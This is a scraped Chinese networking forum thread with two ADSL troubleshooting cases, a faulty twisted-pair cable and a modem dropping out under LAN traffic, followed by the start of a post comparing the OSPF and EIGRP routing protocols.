三、ADSL故障处理实例\r\n\r\n实例一:网线故障\r\n\r\n    * 故障现象:多台计算机通过Hub与ADSL Modem共享上网。查看本地连接,网络连接图标正常地显示在任务栏,上面并未出现“×”(事实上网络不通时网络连接图标上往往有个“×”),再查看网络连接状态,发现只有发送数据包,接收数据包为0,虚拟拨号拨不通。\r\n    * 故障处理:首先观察Hub上的端口,灯亮。ping <网卡IP地址>,正常返回信息。本地网卡应该正常,但ping不通其他计算机和Modem。其次,在Hub上掉换了端口,甚至直接连接到ADSL Modem上,故障依旧,这也就排除了Hub端口故障。\r\n\r\n      因此我们可以断定网线有问题,于是检查了一下线路,看是否有扭曲或断裂。我们并未发现异常现象,然后在双绞线两端依次重新制作水晶头接头,故障还是没有解决。于是冷静地思考了一下,双绞线有四对线,水晶头中1、2、3、4、5、6、7、8位置依次为白橙、橙、白绿、兰、白兰、绿、棕、白棕,实际使用的是其中两对线,它们排在水晶头的1、2与3、6位置。由于接收数据包为0,怀疑是其中一对线有问题(白橙、橙或白绿、绿,事实上应该是排在3、6位置的一对线为接收数据线),于是在双绞线两端重新制作接头,按照非常规的排线顺序:水晶头中1、2、3、4、5、6、7、8位置依次为白橙、橙、白兰、棕、白棕、兰、白绿、绿,当然仍要保持1、2为一# 对线,3、6为一对线。重新连接好双绞线,问题解决了。为了进一步证明自己的推断:白绿、绿这一对线有问题,后来借来了网线测试仪,果然测得白绿、绿这一对线不通,但由于7、8位置上这一对线是备用线,实际上不起作用,对网络连接并没有影响。 故障原因:5类UTP双绞线有4对线,实际使用的是其中两对用于接收和发送数据,由于1、2或3、6位置的某一对线出现故障,引起网络通讯故障,事实上既使4、5或7、8位置的两对线断裂也不会影响网络通讯。\r\n\r\n实例二:ADSL的指示灯都正常也会掉网\r\n\r\n    * 故障现象:多台计算机通过Hub与ADSL Modem共享上网,ADSL的指示灯都正常,呈绿色,有时候也掉线。\r\n    * 故障处理:重新启动Modem后,系统正常。后来做了一台双网卡的代理服务器,计算机通过代理服务器上网,再也没有发生过这种现象。\r\n    * 故障原因:在ADSL Modem上有个“10Base-T”端口,这个端口是接局域网的,实际上是个Hub端口。虽然是10Mb的端口,但是ADSL的上行带宽只有几百 Kbit/s。如果用户局域网内部是ADSL直接连接Hub,Hub再连接下面的客户机,网络内的许多与ADSL无关的数据包将占用ADSL上行通道, ADSL也无法控制局域网内的广播风暴。如果超过ADSL上行传输能力,数据包将装入ADSL的缓存。如果数据量继续增大,缓存溢出,造成ADSL“休眠”现象,这样只有重新启动Modem了。解决办法是,资金不太雄厚的专线用户可以做一台双网卡的代理服务器(一定要双网卡),这样可以隔断Modem与局域网之间的直接通信,避免上述问题。如条件允许最好用防火墙或路由器。

论坛徽章:
0
110 [报告]
发表于 2007-08-20 11:21 |只看该作者

比较OSPF与EIGRP

在互联网飞速发展的今天,TCP/IP协议已经成为数据网络互联的主流协议。在各种网络上运行的大大小小各种型号路由器,承担着控制本世纪或许最重要信息的流量,而这成百上千台路由器间的协同工作,离不开路由协议。OSPF和EIGRP都是近年来出现的比较好的动态路由协议,OSPF以协议标准化强,支持厂家多,受到广泛应用,而EIGRP协议由网络界公认的领先厂商Cisco公司发明,并靠其在业界的影响力和绝对的市场份额,也受到用户的普遍认同。然而这两种协议究竟哪种更好,谁更适合网络未来发展的需要?本文就用户普遍关心的问题,从技术角度客观分析这两种协议各自的优缺点,以便网络集成商和企业用户在网络设计规划时,能作为参考。\r\n一、OSPF协议\r\n(一)、OSPF协议简介\r\n      OSPF是Open Shortest Path First(即“开放最短路由优先协议”)的缩写。它是IETF组织开发的一个基于链路状态的自治系统内部路由协议。在IP网络上,它通过收集和传递自治系统的链路状态来动态地发现并传播路由。\r\n每一台运行OSPF协议的路由器总是将本地网络的连接状态,(如可用接口信息、可达邻居信息等)用LSA(链路状态广播)描述,并广播到整个自治系统中去。这样,每台路由器都收到了自治系统中所有路由器生成的LSA,这些LSA的集合组成了LSDB(链路状态数据库)。由于每一条LSA是对一台路由器周边网络拓扑的描述,则整个LSDB就是对该自治系统网络拓扑的真实反映。\r\n根据LSDB,各路由器运行SPF(最短路径优先)算法。构建一棵以自己为根的最短路径树,这棵树给出了到自治系统中各节点的路由。在图论中,“树”是一种无环路的连接图。所以OSPF计算出的路由也是一种无环路的路由。\r\nOSPF协议为了减少自身的开销,提出了以下概念:\r\n(1). DR:\r\n在各类可以多址访问的网络中,如果存在两台或两台以上的路由器,该网络上要选举出一个“指定路由器”(DR)。“指定路由器”负责与本网段内所有路由器进行LSDB的同步。这样,两台非DR路由器之间就不再进行LSDB的同步。大大节省了同一网段内的带宽开销。\r\n(2). AREA:\r\nOSPF可以根据自治系统的拓扑结构划分成不同的区域(AREA),这样区域边界路由器(ABR)向其它区域发送路由信息时,以网段为单位生成摘要LSA。这样可以减少自治系统中的LSA的数量,以及路由计算的复杂度。\r\nOSPF使用4类不同的路由,按优先顺序来说分别是:\r\n   区域内路由\r\n   区域间路由\r\n   第一类外部路由\r\n   第二类外部路由\r\n区域内和区域间路由描述的是自治系统内部的网络结构,而外部路由则描述了应该如何选择到自治系统以外目的地的路由。一般来说,第一类外部路由对应于OSPF 从其它内部路由协议所引入的信息,这些路由的花费和OSPF自身路由的花费具有可比性;第二类外部路由对应于OSPF从外部路由协议所引入的信息,它们的花费远大于OSPF自身的路由花费,因而在计算时,将只考虑外部的花费。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP